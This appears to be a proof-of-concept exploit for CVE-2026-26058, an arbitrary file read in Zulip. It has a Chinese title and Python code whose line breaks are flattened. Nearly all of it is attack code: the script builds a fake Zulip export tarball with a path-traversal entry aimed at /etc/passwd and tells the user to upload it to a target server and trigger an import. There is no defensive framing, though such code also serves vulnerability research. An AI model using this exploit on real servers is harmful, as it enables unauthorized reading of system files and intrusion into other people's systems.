CVE-2026-26058 Zulip 任意文件读取漏洞

import tarfile import json import os def create_malicious_tar(output_filename): # Create a directory structure mimicking a Zulip export exploit_dir = "zulip_export_exploit" upload_dir = os.path.join(exploit_dir, "uploads") os.makedirs(upload_dir, exist_ok=True) # Craft malicious records.json with path traversal # The goal is to read /etc/passwd from the server malicious_records = [ { "path": "../../../etc/passwd", "name": "leaked_passwords.txt" } ] records_path = os.path.join(upload_dir, "records.json") with open(records_path, "w") as f: json.dump(malicious_records, f) # Create the tarball with tarfile.open(output_filename, "w:gz") as tar: tar.add(exploit_dir, arcname=".") print(f"[+] Malicious tarball created: {output_filename}") print(f"[+] Upload this to a target server and trigger an import.") # Cleanup for root, dirs, files in os.walk(exploit_dir, topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) os.rmdir(exploit_dir) if __name__ == "__main__": create_malicious_tar("cve_2026_26058_poc.tar.gz")